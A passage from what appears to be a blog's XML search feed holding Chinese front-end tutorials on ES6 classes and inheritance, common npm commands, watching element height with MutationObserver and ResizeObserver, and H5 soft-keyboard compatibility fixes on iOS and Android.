Logger();const &#123; printName &#125; = logger;console.log('logger:', logger);console.log('printName:', printName);printName(); // Cannot read property 'print' of undefined// 静态方法// 静态方法直接在类上调用,该方法不会被实例继承// 静态方法包含 this 关键字,指向类,而不是实例// 子类可以从 super 对象上调用父类静态对象class Car &#123; static getCarBand () &#123; return this.baz(); &#125; static baz () &#123; return 'Benzi'; &#125; baz () &#123; return 'BYD'; &#125;&#125;console.log('Car.getCarBand(): ', Car.getCarBand());let car = new Car();// car.getCarBand(); // car.getCarBand is not a functionclass ElectricVehicle extends Car &#123; static bar () &#123; return super.baz() + ', too'; &#125;&#125;console.log('ElectricVehicle.bar(): ', ElectricVehicle.bar());class IncreasingCounter &#123; constructor () &#123; this._count = 0; &#125; get value () &#123; console.log('Getting the current value!'); return this._count; &#125; increment () &#123; this._count++; &#125;&#125;const increasingCounter = new IncreasingCounter();console.log('increasingCounter.value: ', increasingCounter.value);// 如果构造函数不是通过 new 命令或 Reflect.construct() 调用,new.target 会返回 undefined/* function Person (name) &#123; if (new.target === Person) &#123; this.name = name; &#125; else &#123; throw new Error('必须使用 new 命令生成实例'); &#125;&#125;const person = new Person('joy');const notAPerson = Person.call(person, 'joy'); */// 子类继承父类时,new.target 会返回子类class Rectangle &#123; constructor (length, width) &#123; console.log('new.target: ', new.target); &#125;&#125;class Square extends Rectangle &#123; constructor (length) &#123; super(length, length); // 调用父类的 constructor &#125;&#125;new Square(3) 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117// 子类必须在 constructor 方法中调用 super 方法,否则新建实例时会报错。// 这是因为子类自己的 this 对象,必须先通过父类的构造函数完成塑造,得到与父类同样的实例属性和方法// 然后再对其进行加工,加上子类自己的实例属性和方法。// ES5 的继承,实质是先创造子类的实例对象 this ,然后再将父类的方法添加到 this 上面( Parent.apply(this) )// ES6 的继承机制完全不同,实质是先将父类实例对象的属性和方法,加到 this 上面(所以必须先调用 super 方法),// 然后再用子类的构造函数修改 this。class Point &#123;&#125;class ColorPoint extends Point &#123; constructor (x, y, color) &#123; super(x, y); this.color = color; &#125; toString () &#123; return this.color + ' ' + super.toString(); // 调用父类的 toString() &#125;&#125;const colorPoint = new ColorPoint(10, 10, 'red');// Object.getPrototypeOf() 从子类获取父类console.log('Object.getPrototypeOf(ColorPoint): ', Object.getPrototypeOf(ColorPoint));// super 关键字既可以当函数使用,也可以当对象使用// super 作为函数使用时,代表父类构造函数// super 作为对象时,在普通方法中,指向父类的原型对象;在静态方法中,指向父类// super 虽然代表了父类的构造函数,但是返回的是子类的实例,即 super()在这里相当于 A.prototype.constructor.call(this)// ES6 规定,在子类普通方法中通过 super 调用父类的方法时,方法内部的 this 指向当前的子类实例class A &#123; constructor () &#123; this.p = 2; console.log(new.target.name); &#125; print () &#123; console.log(this.x); &#125;&#125;class B extends A &#123; constructor () &#123; super(); this.x = 2; // 通过 super 对某个属性赋值,这是 super 就是 this super.x = 3; console.log('super.x: ', super.x); console.log('this.x: ', this.x); &#125; m () &#123; super.print(); // 由于 super 指向父类的原型对象,所以定义在父类实例上的方法或属性,无法通过 super 调用 console.log('super.p: ', super.p); // undefined &#125;&#125;const a = new A();const b = new B();b.m();// super 在静态方法中指向父类,在普通方法中指向父类的原型对象class Parent &#123; static myMethod (msg) &#123; console.log('static: ', msg); &#125; myMethod (msg) &#123; console.log('instance: ', msg); &#125;&#125;class Child extends Parent &#123; static myMethod (msg) &#123; super.myMethod(msg); &#125; myMethod (msg) &#123; super.myMethod(msg); &#125;&#125;Child.myMethod(1); // static: 1const parent = new Parent();const child = new Child();child.myMethod(2); // static: 2console.log(child);// 子类的 __proto__ 属性,表示构造函数的继承,总是指向父类// 子类 prototype 属性的 __proto__ 属性,表示方法的继承,总是指向父类的 prototype 属性console.log('Child.__proto__ === Parent: ', Child.__proto__ === Parent);console.log('Child.prototype.__proto__ === Parent.prototype: ', Child.prototype.__proto__ === Parent.prototype);// 子类实例的 __proto__ 属性的 __proto__ 属性,指向父类实例的 __proto__ 属性console.log('child.__proto__.__proto__ === parent.__proto__: ', child.__proto__.__proto__ === parent.__proto__);// ES5 原生构造函数无法继承,ES6 允许继承原生构造函数定义子类class VersionedArray extends Array &#123; constructor () &#123; super(); this.history = [[]]; &#125; commit () &#123; this.history.push(this.slice()); &#125; revert () &#123; this.splice(0, this.length, ...this.history[this.history.length - 1]); &#125;&#125;const v = new VersionedArray();v.push(1);v.push(2);console.log('v: ', v); // [1, 2]v.commit();console.log('history: ', v.history); // [[], [1, 2]]v.push(3);console.log('v: ', v); // [1, 2, 3]console.log('history: ', v.history); // [[], [1, 2]]v.revert();console.log('v: ', v); // [1, 2]]]></content>
</entry>
<entry>
<title><![CDATA[npm-common-cmd]]></title>
<url>%2F2019%2F08%2F26%2Fnpm-common-cmd%2F</url>
<content type="text"><![CDATA[npm 常用命令安装命令1234567891011121314// 全局安装npm install 模块名 -g// 本地安装npm install 模块名// 一次安装多个模块npm install 模块名1 模块名2 模块名3// 安装开发时依赖包npm install 模块名 --save-dev// 安装运行时依赖包npm install 模块名 --save 查看安装目录12345// 查看项目中模块所在目录npm root// 查看全局安装模块所在目录npm root -g 查看 npm 所有命令1npm help 查看某个包的依赖包1npm view 模块名 dependencies 查看包的源文件地址1npm view 模块名 repository.url 查看当前模块依赖的node最低版本号1npm view 模块名 engines 查看模块当前版本号12345// 该模块在远程库的版本号,并不是当前项目中所依赖的版本号npm view 模块名 version// 查看当前项目中应用的某个模块版本号npm list 模块名 version 查看模块的历史版本和当前版本1npm view 模块名 versions 查看一个模块的所有信息1npm view 模块名 查看 npm 使用的所有文件夹1npm help folders 更改包内容后进行重建1npm rebuild 模块名 检查包是否已经过时1npm outdated 更新 node 模块12345678910npm update 模块名// 更新到指定版本npm update 模块名 @版本号// 更新到最新版本npm install 模块名@latest// 如果当前的版本号为2.5.1,是没办法进行npm update 模块名 @2.3.1 将模块版本号变为2.3.1的// 当然,你可以先uninstall,然后进行install @2.3.1 卸载 node 模块1npm uninstall 模块名 访问 package.json 说明文档1npm help json 发布一个 npm 包之前,检查某个包是否已经存在1npm search 模块名 引导创建一个 package.json 文件1234567npm init// 不用一步步输入信息npm init --yes// 或npm init -y 清除 npm 缓存1npm cache clean 查看 npm 的版本1npm -v 查看某个模块的 bugs 列表1npm bugs 模块名 打开某个模块的仓库界面1npm repo 模块名 打开某个模块的文档1npm home 模块名 查看当前已经安装的模块1234npm list// 查看模块层级npm list --depth=0 清除未被使用到的模块1npm prune 版本控制在 package.json 中,dependencies 字段指定了项目运行所依赖的模块,devDependencies 字段指定项目开发所需要的模块。它们都指向一个对象。该对象的各个成员,分别由模块和对应的版本要求组成,表示依赖的模块及版本范围。 对应的版本可以加上各种限定,主要有以下几种: 指定版本:比如 1.2.2,遵循“大版本.次要版本.小版本”的格式规定,安装时只安装指定版本。 波浪号(tilde)+指定版本:比如 ~1.2.2,表示安装 1.x.x 的最新版本(不低于 1.2.2),但是不安装 1.3.x,也就是说安装时不改变大版本号和次要版本号。 插入号(caret)+指定版本:比如 ~1.2.2,表示安装 1.x.x 的最新版本(不低于1.2.2),但是不安装 2.x.x,也就是说安装时不改变大版本号。需要注意的是,如果大版本号为0,则插入号的行为与波浪号相同,这是因为此时处于开发阶段,即使是次要版本号变动,也可能带来程序的不兼容。 latest:安装最新版本。]]></content>
<tags>
<tag>npm</tag>
</tags>
</entry>
<entry>
<title><![CDATA[如何优雅监听容器高度变化]]></title>
<url>%2F2019%2F07%2F11%2Fresize-observer%2F</url>
<content type="text"><![CDATA[前言老鸟:怎样去监听 DOM 元素的高度变化呢?菜鸟:哈哈哈哈哈,这都不知道哦,用 onresize 事件鸭!老鸟扶了扶眼睛,空气安静几秒钟,菜鸟才晃过神来。对鸭,普通 DOM 元素没有 onresize 事件,只有在 window 对象下有此事件,该死,又双叒叕糗大了。 哈哈哈哈,以上纯属虚构,不过在最近项目中还真遇到过对容器监听高(宽)变化:在使用 iscroll 或 better-scroll 滚动插件,如果容器内部元素有高度变化要去及时更新外部包裹容器,即调用 refresh() 方法。不然就会造成滚动误差(滚动不到底部或滚动脱离底部)。 可能我们一般处理思路: 在每次 DOM 节点有更新(删除或插入)后就去调用 refresh(),更新外部容器。 对异步资源(如图片)加载,使用onload 监听每次加载完成,再去调用 refresh(),更新外部容器。 这样我们会发现,如果容器内部元素比较复杂,调用会越来越繁琐,甚至还要考虑到用户使用的每一个操作都可能导致内部元素宽高变化,进而要去调整外部容器,调用 refresh()。 实际上,不管是对元素的哪种操作,都会造成它的属性、子孙节点、文本节点发生了变化,如果能能监听得到这种变化,这时只需比较容器宽高变化,即可实现对容器宽高的监听,而无需关系它外部行为。DOM3 Events 规范为我们提供了 MutationObserver 接口监视对 DOM 树所做更改的能力。 MutationObserverMutation Observer API 用来监视 DOM 变动。DOM 的任何变动,比如节点的增减、属性的变动、文本内容的变动,这个 API 都可以得到通知。 PS Mutation Observer API 已经有很不错的浏览器兼容性,如果对IE10及以下没有要求的话。 MutationObserver 特点DOM 发生变动都会触发 Mutation Observer 事件。但是,它跟事件还是有不用点:事件是同步触发,DOM 变化立即触发相应事件;Mutation Observer 是异步触发,DOM 变化不会马上触发,而是等当前所有 DOM 操作都结束后才触发。总的来说,特点如下: 它等待所有脚本任务完成后,才会运行(即异步触发方式)。 它把 DOM 变动记录封装成一个数组进行处理,而不是一条条个别处理 DOM 变动。 它既可以观察 DOM 的所有类型变动,也可以指定只观察某一类变动。 MutationObserver 构造函数MutationObserver 构造函数的实例传的是一个回调函数,该函数接受两个参数,第一个是变动的数组,第二个是观察器的实例。 12345var observer = new MutationObserver(function (mutations, observer)&#123; mutations.forEach(function (mutaion) &#123; console.log(mutation); &#125;)&#125;) MutationObserver 实例的 observe() 方法observe 方法用来执行监听,接受两个参数: 第一个参数,被观察的 DOM 节点; 第二个参数,一个配置对象,指定所要观察特征。 123456789101112var $tar = document.getElementById('tar');var option = &#123; childList: true, // 子节点的变动(新增、删除或者更改) attributes: true, // 属性的变动 characterData: true, // 节点内容或节点文本的变动 subtree: true, // 是否将观察器应用于该节点的所有后代节点 attributeFilter: ['class', 'style'], // 观察特定属性 attributeOldValue: true, // 观察 attributes 变动时,是否需要记录变动前的属性值 characterDataOldValue: true // 观察 characterData 变动,是否需要记录变动前的值&#125;mutationObserver.observe($tar, option); option 中,必须有 childList、attributes和characterData中一种或多种,否则会报错。其中各个属性意思如下: childList 布尔值,表示是否应用到子节点的变动(新增、删除或者更改); attributes 布尔值,表示是否应用到属性的变动; characterData 布尔值,表示是否应用到节点内容或节点文本的变动; subtree 布尔值,表示是否应用到是否将观察器应用于该节点的所有后代节点; attributeFilter 数组,表示观察特定属性; attributeOldValue 布尔值,表示观察 attributes 变动时,是否需要记录变动前的属性值; characterDataOldValue 布尔值,表示观察 characterData 变动,是否需要记录变动前的值; childList 和 subtree 属性childList 属性表示是否应用到子节点的变动(新增、删除或者更改),监听不到子节点后代节点变动。 12345678910111213141516171819202122232425262728293031var mutationObserver = new MutationObserver(function (mutations) &#123; console.log(mutations);&#125;)mutationObserver.observe($tar, &#123; childList: true, // 子节点的变动(新增、删除或者更改)&#125;)var $div1 = document.createElement('div');$div1.innerText = 'div1';// 新增子节点$tar.appendChild($div1); // 能监听到// 删除子节点$tar.childNodes[0].remove(); // 能监听到var $div2 = document.createElement('div');$div2.innerText = 'div2';var $div3 = document.createElement('div');$div3.innerText = 'div3';// 新增子节点$tar.appendChild($div2); // 能监听到// 替换子节点$tar.replaceChild($div3, $div2); // 能监听到// 新增孙节点$tar.childNodes[0].appendChild(document.createTextNode('新增孙文本节点')); // 监听不到 attributes 和 attributeFilter 属性attributes 属性表示是否应用到 DOM 节点属性的值变动的监听。而 attributeFilter 属性是用来过滤要监听的属性 key。 123456789101112// ...mutationObserver.observe($tar, &#123; attributes: true, // 属性的变动 attributeFilter: ['class', 'style'], // 观察特定属性&#125;)// ...// 改变 style 属性$tar.style.height = '100px'; // 能监听到// 改变 className$tar.className = 'tar'; // 能监听到// 改变 dataset$tar.dataset = 'abc'; // 监听不到 characterData 和 subtree 属性characterData 属性表示是否应用到节点内容或节点文本的变动。subtree 是否将观察器应用于该节点的所有后代节点。为了更好观察节点文本变化,将两者结合应用到富文本监听上是不错的选择。 简单的富文本,比如 1&lt;div id="tar" contentEditable&gt;A simple editor&lt;/div&gt; 123456789var $tar = document.getElementById('tar');var MutationObserver = window.MutationObserver || window.webkitMutationObserver || window.MozMutationObserver;var mutationObserver = new MutationObserver(function (mutations) &#123; console.log(mutations);&#125;)mutationObserver.observe($tar, &#123; characterData: true, // 节点内容或节点文本的变动 subtree: true, // 是否将观察器应用于该节点的所有后代节点&#125;) takeRecords()、disconnect() 方法MutationObserver 实例上还有两个方法,takeRecords() 用来清空记录队列并返回变动记录的数组。disconnect() 用来停止观察。调用该方法后,DOM 再发生变动,也不会触发观察器。 12345678910111213141516var $text5 = document.createTextNode('新增文本节点5');var $text6 = document.createTextNode('新增文本节点6');// 新增文本节点$tar.appendChild($text5);var record = mutationObserver.takeRecords();console.log('record: ', record); // 返回 记录新增文本节点操作,并清空监听队列// 替换文本节点$tar.replaceChild($text6, $text5);mutationObserver.disconnect(); // 此处以后的不再监听// 删除文本节点$tar.removeChild($text6); // 监听不到 前面还有两个属性 attributeOldValue 和 characterDataOldValue 没有说,其实是影响 takeRecords() 方法返回 MutationRecord 实例。如果设置了这两个属性,就会对应返回对象中 oldValue 为记录之前旧的 attribute 和 data值。 比如将原来的 className 的值 aaa 替换成 tar,oldValue 记录为 aaa。 1234567891011record: [&#123; addedNodes: NodeList [] attributeName: "class" attributeNamespace: null nextSibling: null oldValue: "aaa" previousSibling: null removedNodes: NodeList [] target: div#tar.tar type: "attributes"&#125;] MutationObserver 的应用一个容器本身以及内部元素的属性变化,节点变化和文本变化是影响该容器高宽的重要因素(当然还有其他因素),以上了解了 MutationObserver API 的一些细节,可以实现监听容器宽高的变化。 12345678910111213141516171819202122var $tar = document.getElementById('tar');var MutationObserver = window.MutationObserver || window.webkitMutationObserver || window.MozMutationObserver;var recordHeight = 0;var mutationObserver = new MutationObserver(function (mutations) &#123; console.log(mutations); let height = window.getComputedStyle($tar).getPropertyValue('height'); if (height === recordHeight) &#123; return; &#125; recordHeight = height; console.log('高度变化了'); // 之后更新外部容器等操作&#125;)mutationObserver.observe($tar, &#123; childList: true, // 子节点的变动(新增、删除或者更改) attributes: true, // 属性的变动 characterData: true, // 节点内容或节点文本的变动 subtree: true // 是否将观察器应用于该节点的所有后代节点&#125;) 漏网之鱼:动画(animation、transform)改变容器高(宽)除了容器内部元素节点、属性变化,还有 css3 动画会影响容器高宽,由于动画并不会造成元素属性的变化,所以 MutationObserver API 是监听不到的。 将 #tar 容器加入以下 css 动画 1234567891011@keyframes changeHeight &#123; to &#123; height: 300px; &#125;&#125;#tar &#123; background-color: aqua; border: 1px solid #ccc; animation: changeHeight 2s ease-in 1s;&#125; 可以看出,没有打印输出,是监听不到动画改变高宽的。所以,在这还需对这条“漏网之鱼”进行处理。处理很简单,只需在动画(transitionend、animationend)停止事件触发时监听高宽变化即可。在这里用 Vue 自定义指令处理如下: 1234567891011121314151617181920212223242526272829303132333435363738394041424344/** * 监听元素高度变化,更新滚动容器 */Vue.directive('observe-element-height', &#123; insert (el, binding) &#123; const MutationObserver = window.MutationObserver || window.webkitMutationObserver || window.MozMutationObserver let recordHeight = 0 const onHeightChange = _.throttle(function () &#123; // _.throttle 节流函数 let height = window.getComputedStyle(el).getPropertyValue('height'); if (height === recordHeight) &#123; return &#125; recordHeight = height console.log('高度变化了') // 之后更新外部容器等操作 &#125;, 500) el.__onHeightChange__ = onHeightChange el.addEventListener('animationend', onHeightChange) el.addEventListener('transitionend', onHeightChange) el.__observer__ = new MutationObserver((mutations) =&gt; &#123; onHeightChange() &#125;); el.__observer__.observe(el, &#123; childList: true, subtree: true, characterData: true, attributes: true &#125;) &#125;, unbind (el) &#123; if (el.__observer__) &#123; el.__observer__.disconnect() el.__observer__ = null &#125; el.removeEventListener('animationend', el.__onHeightChange__) el.removeEventListener('transitionend', el.__onHeightChange__) el.__onHeightChange__ = null &#125;&#125;) ResizeObserver既然对容器区域宽高监听有硬性需求,那么是否有相关规范呢?答案是有的,ResizeObserver 接口可以监听到 Element 的内容区域或 SVGElement 的边界框改变。内容区域则需要减去内边距 padding。目前还是实验性的一个接口,各大浏览器对ResizeObserver兼容性不够,实际应用需谨慎。 ResizeObserver Polyfill实验性的 API 不足,总有 Polyfill 来弥补。 ResizeObserver Polyfill 利用事件冒泡,在顶层 document 上监听动画 transitionend; 监听 window 的 resize 事件; 其次用 MutationObserver 监听 document 元素; 兼容IE11以下 通过 DOMSubtreeModified 监听 document 元素。 利用MapShim (类似ES6中 Map) 数据结构,key 为被监听元素,value 为 ResizeObserver 实例,映射监听关系,顶层 document 或 window 监听到触发事件,通过绑定元素即可监听元素尺寸变化。部分源码如下: 1234567891011121314151617181920212223242526272829303132/** * Initializes DOM listeners. * * @private * @returns &#123;void&#125; */ResizeObserverController.prototype.connect_ = function () &#123; // Do nothing if running in a non-browser environment or if listeners // have been already added. if (!isBrowser || this.connected_) &#123; return; &#125; // Subscription to the "Transitionend" event is used as a workaround for // delayed transitions. This way it's possible to capture at least the // final state of an element. document.addEventListener('transitionend', this.onTransitionEnd_); window.addEventListener('resize', this.refresh); if (mutationObserverSupported) &#123; this.mutationsObserver_ = new MutationObserver(this.refresh); this.mutationsObserver_.observe(document, &#123; attributes: true, childList: true, characterData: true, subtree: true &#125;); &#125; else &#123; document.addEventListener('DOMSubtreeModified', this.refresh); this.mutationEventsAdded_ = true; &#125; this.connected_ = true;&#125;; PS:不过,这里貌似作者没有对 animation 做处理,也就是 animation 改变元素尺寸还是监听不到。不知道是不是我没有全面的考虑,这点已向作者提了issue。 用 iframe 模拟 window 的 resizewindow 的 resize 没有兼容性问题,按照这个思路,可以用隐藏的 iframe 模拟 window 撑满要监听得容器元素,当容器尺寸变化时,自然会 iframe 尺寸也会改变,通过contentWindow.onresize() 就能监听得到。 123456789101112131415161718192021function observeResize(element, handler) &#123; let frame = document.createElement('iframe'); const CSS = 'position:absolute;left:0;top:-100%;width:100%;height:100%;margin:1px 0 0;border:none;opacity:0;visibility:hidden;pointer-events:none;'; frame.style.cssText = CSS; frame.onload = () =&gt; &#123; frame.contentWindow.onresize = () =&gt; &#123; handler(element); &#125;; &#125;; element.appendChild(frame); return frame;&#125;let element = document.getElementById('main');// listen for resizeobserveResize(element, () =&gt; &#123; console.log('new size: ', &#123; width: element.clientWidth, height: element.clientHeight &#125;);&#125;); 采用这种方案常用插件有 iframe-resizer、resize-sensor等。不过这种方案不是特别优雅,需要插入 iframe 元素,还需将父元素定位,可能在页面上会有其他意想不到的问题,仅作为供参考方案吧。 总结最后,要优雅地监听元素的宽高变化,不要去根据交互行为而是从元素本身去监听,了解 MutationObserver 接口是重点,其次要考虑到元素动画可能造成宽高变化,兼容IE11以下,通过 DOMSubtreeModified 监听。用 iframe 模拟 window 的 resize 属于一种供参考方案。做的功课有点少,欢迎指正,完~]]></content>
<tags>
<tag>javascript</tag>
<tag>html</tag>
</tags>
</entry>
<entry>
<title><![CDATA[可能这些是你想要的H5键盘兼容方案]]></title>
<url>%2F2019%2F03%2F19%2Fh5-keyboard-compatible%2F</url>
<content type="text"><![CDATA[前言最近一段时间在做 H5 聊天项目,踩过其中一大坑:输入框获取焦点,软键盘弹起,要求输入框吸附(或顶)在输入法框上。需求很明确,看似很简单,其实不然。从实验过一些机型上看,发现主要存在以下问题: 在 Android 和 IOS 上,获知软键盘弹起和收起状态存在差异,且页面 webview 表现不同。 在IOS12 上,微信版本 v6.7.4 及以上,输入框获取焦点,键盘弹起,页面(webview)整体往上滚动,当键盘收起后,不回到原位,导致键盘原来所在位置是空白的。 在 IOS 上,使用第三方输入法,高度计算存在偏差,导致在有些输入法弹起,将输入框挡住一部分。 在有些浏览器上使用一些操作技巧,还是存在输入框被输入法遮挡。 下面就上述发现的问题,逐个探索一下解决方案。 获知软键盘弹起和收起状态获知软键盘的弹起还是收起状态很重要,后面的兼容处理都要以此为前提。然而,H5 并没有直接监听软键盘的原生事件,只能通过软键盘弹起或收起,引发页面其他方面的表现间接监听,曲线救国。并且,在 IOS 和 Android 上的表现不尽相同。 IOS 软键盘弹起表现在 IOS 上,输入框(input、textarea 或 富文本)获取焦点,键盘弹起,页面(webview)并没有被压缩,或者说高度(height)没有改变,只是页面(webview)整体往上滚了,且最大滚动高度(scrollTop)为软键盘高度。 Android 软键盘弹起表现同样,在 Android 上,输入框获取焦点,键盘弹起,但是页面(webview)高度会发生改变,一般来说,高度为可视区高度(原高度减去软键盘高度),除了因为页面内容被撑开可以产生滚动,webview 本身不能滚动。 IOS 软键盘收起表现触发软键盘上的“收起”按钮键盘或者输入框以外的页面区域时,输入框失去焦点,软键盘收起。 Android 软键盘收起表现触发输入框以外的区域时,输入框失去焦点,软键盘收起。但是,触发键盘上的收起按钮键盘时,输入框并不会失去焦点,同样软键盘收起。 监听软键盘弹起和收起综合上面键盘弹起和收起在 IOS 和 Android 上的不同表现,我们可以分开进行如下处理来监听软键盘的弹起和收起: 在 IOS 上,监听输入框的 focus 事件来获知软键盘弹起,监听输入框的 blur 事件获知软键盘收起。 在 Android 上,监听 webview 高度会变化,高度变小获知软键盘弹起,否则软键盘收起。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152// 判断设备类型var judgeDeviceType = function () &#123; var ua = window.navigator.userAgent.toLocaleLowerCase(); var isIOS = /iphone|ipad|ipod/.test(ua); var isAndroid = /android/.test(ua); return &#123; isIOS: isIOS, isAndroid: isAndroid &#125;&#125;()// 监听输入框的软键盘弹起和收起事件function listenKeybord($input) &#123; if (judgeDeviceType.isIOS) &#123; // IOS 键盘弹起:IOS 和 Android 输入框获取焦点键盘弹起 $input.addEventListener('focus', function () &#123; console.log('IOS 键盘弹起啦!'); // IOS 键盘弹起后操作 &#125;, false) // IOS 键盘收起:IOS 点击输入框以外区域或点击收起按钮,输入框都会失去焦点,键盘会收起, $input.addEventListener('blur', () =&gt; &#123; console.log('IOS 键盘收起啦!'); // IOS 键盘收起后操作 &#125;) &#125; // Andriod 键盘收起:Andriod 键盘弹起或收起页面高度会发生变化,以此为依据获知键盘收起 if (judgeDeviceType.isAndroid) &#123; var originHeight = document.documentElement.clientHeight || document.body.clientHeight; window.addEventListener('resize', function () &#123; var resizeHeight = document.documentElement.clientHeight || document.body.clientHeight; if (originHeight &lt; resizeHeight) &#123; console.log('Android 键盘收起啦!'); // Android 键盘收起后操作 &#125; else &#123; console.log('Android 键盘弹起啦!'); // Android 键盘弹起后操作 &#125; originHeight = resizeHeight; &#125;, false) &#125;&#125;var $inputs = document.querySelectorAll('.input');for (var i = 0; i &lt; $inputs.length; i++) &#123; listenKeybord($inputs[i]);&#125; 弹起软键盘始终让输入框滚动到可视区有时我们会做一个输入表单,有很多输入项,输入框获取焦点,弹起软键盘。当输入框位于页面下部位置时,在 IOS 上,会将 webview 整体往上滚一段距离,使得该获取焦点的输入框自动处于可视区,而在 Android 则不会这样,它只会改变页面高度,而不会去滚动到当前焦点元素到可视区。由于上面已经实现监听 IOS 和 Android 键盘弹起和收起,在这里,只需在 Android 键盘弹起后,将焦点元素滚动(scrollIntoView())到可视区。查看效果,可以戳这里。 12345678910111213141516// 获取到焦点元素滚动到可视区function activeElementScrollIntoView(activeElement, delay) &#123; var editable = activeElement.getAttribute('contenteditable') // 输入框、textarea或富文本获取焦点后没有将该元素滚动到可视区 if (activeElement.tagName == 'INPUT' || activeElement.tagName == 'TEXTAREA' || editable === '' || editable) &#123; setTimeout(function () &#123; activeElement.scrollIntoView(); &#125;, delay) &#125;&#125;// ...// Android 键盘弹起后操作activeElementScrollIntoView($input, 1000);// ... 唤起纯数字软键盘上面的表单输入框有要求输入电话号码,类似这样就要弹出一个数字软键盘了,既然说到了软键盘兼容,在这里就安插一下。比较好的解决方案如下: 12&lt;p&gt;请输入手机号&lt;/p&gt;&lt;input type="tel" novalidate="novalidate" pattern="[0-9]*" class="input"&gt; type=&quot;tel&quot;, 是 HTML5 的一个属性,表示输入框类型为电话号码,在 Android 和 IOS 上表现差不多,都会有数字键盘,但是也会有字母,略显多余。 pattern=&quot;[0-9]&quot;, pattern 用于验证表单输入的内容,通常 HTML5 的 type 属性,比如 email、tel、number、data 类、url 等,已经自带了简单的数据格式验证功能了,加上 pattern 后,前端部分的验证更加简单高效了。IOS 中,只有 [0-9]\* 才可以调起九宫格数字键盘,\d 无效,Android 4.4 以下(包括X5内核),两者都调起数字键盘。 novalidate=&quot;novalidate&quot;,novalidate 属性规定当提交表单时不对其进行验证,由于 pattern 校验兼容性不好,可以不让其校验,只让其唤起纯数字键盘,校验工作由 js 去做。 兼容 IOS12 + V6.7.4+如果你在用 IOS12 和 V6.7.4+版本的微信浏览器打开上面表单输入的 demo ,就会惊奇的发现键盘收起后,原本被滚动顶起的页面并没有回到底部位置,导致原来键盘弹起的位置“空”了。 其实这是 Apple 在 IOS 的 bug,会出现在所有的 Xcode10 打包的 IOS12 的设备上。微信官方已给出解决方案,只需在软键盘收起后,将页面(webview)滚回到窗口最底部位置(clientHeight位置)。修复后的上面表单输入 demo 可以戳这里 1234567891011121314console.log('IOS 键盘收起啦!');// IOS 键盘收起后操作// 微信浏览器版本6.7.4+IOS12会出现键盘收起后,视图被顶上去了没有下来var wechatInfo = window.navigator.userAgent.match(/MicroMessenger\/([\d\.]+)/i);if (!wechatInfo) return;var wechatVersion = wechatInfo[1];var version = (navigator.appVersion).match(/OS (\d+)_(\d+)_?(\d+)?/);if (+wechatVersion.replace(/\./g, '') &gt;= 674 &amp;&amp; +version[1] &gt;= 12) &#123; setTimeout(function () &#123; window.scrollTo(0, Math.max(document.body.clientHeight, document.documentElement.clientHeight)); &#125;)&#125; 兼容第三方输入法上面说了那么多,其实已经把 H5 聊天输入框的坑填了一大半了,接下来就先看下聊天输入框的基本HTML结构 12345678910&lt;div class="chat__content"&gt; &lt;div&gt; &lt;p&gt;一些聊天内容1&lt;/p&gt; &lt;/div&gt; &lt;!-- 省略几千行聊天内容 --&gt;&lt;/div&gt;&lt;div class="input__content"&gt; &lt;div class="input" contenteditable="true"&gt;&lt;/div&gt; &lt;button&gt;发送&lt;/button&gt;&lt;/div&gt; 样式 123456789101112131415161718/* 省略一些样式 */.chat__content &#123; height: calc(100% - 40px); margin-bottom: 40px; overflow-y: auto; overflow-x: hidden;&#125;.input__content &#123; display: flex; height: 40px; position: absolute; left: 0; right: 0; bottom: 0; align-items: center;&#125;/* 省略一些样式 */ 很简单,就是划分内容区和输入区,输入区是绝对定位,按照上面表单输入 demo 的做法,确实大部分 Android 浏览器是没问题的,但是测试在 IOS 上,UC 浏览器配合原生输入法和第三方输入法(比如搜狗输入法),输入框都会被完全挡住;QQ 浏览器或微信浏览器,配合第三方输入法,输入框会被遮住一半;百度浏览器配合第三方输入法输入框也会被完全遮住。查看效果可以用相应浏览器中访问这里。 在 UC 浏览器上,软键盘弹起后,浏览器上面的标题栏高度就有个高度变小延时动态效果,这样导致 webview 往下滚了一点,底部输入框滚到了非可视区。而对于第三方输入法,猜测本身是由于输入法面板弹起后高度计算有误,导致 webview 初始滚动定位有误。其实这两点都是 webview 滚动不到位造成的。可以让软键盘弹起后,让焦点元素再次滚到可视区,强迫 webview 滚到位。 123console.log('Android 键盘弹起啦!');// Android 键盘弹起后操作activeElementScrollIntoView($input, 1000); 兼容 Android 小米浏览器的 Hack 方案在 Android 的小米浏览器上,应用上面的方案,发现聊天输入框还是被遮挡得严严实实,scrollIntoView() 仍然纹丝不动。所以猜测,其实是滚到底了,软键盘弹起,页面实现高度大于可视区高度,这样只能在软键盘弹起后,强行增加页面高度,使输入框可以显示出来。综合上面兼容第三方输入法,查看效果可以戳这里 1234567891011121314151617181920212223242526// Andriod 键盘收起:Andriod 键盘弹起或收起页面高度会发生变化,以此为依据获知键盘收起if (judgeDeviceType.isAndroid) &#123; var originHeight = document.documentElement.clientHeight || document.body.clientHeight; window.addEventListener('resize', function () &#123; var resizeHeight = document.documentElement.clientHeight || document.body.clientHeight; if (originHeight &lt; resizeHeight) &#123; console.log('Android 键盘收起啦!'); // Android 键盘收起后操作 // 修复小米浏览器下,输入框依旧被输入法遮挡问题 if (judgeDeviceType.isMiuiBrowser) &#123; document.body.style.marginBottom = '0px'; &#125; &#125; else &#123; console.log('Android 键盘弹起啦!'); // Android 键盘弹起后操作 // 修复小米浏览器下,输入框依旧被输入法遮挡问题 if (judgeDeviceType.isMiuiBrowser) &#123; document.body.style.marginBottom = '40px'; &#125; activeElementScrollIntoView($input, 1000); &#125; originHeight = resizeHeight; &#125;, false)&#125; 总结H5 端前路漫漫,坑很多,需要不断尝试。了解软键盘弹起页面在 IOS 和 Android 上的表现差异是前提,其次是将焦点元素滚动到可视区,同时要考虑到第三方输入法和某些浏览器上的差别。总结肯定不全面,欢迎大家指正哈,完~]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
<tag>html</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Promise的实现]]></title>
<url>%2F2019%2F02%2F18%2Frealize-promise%2F</url>
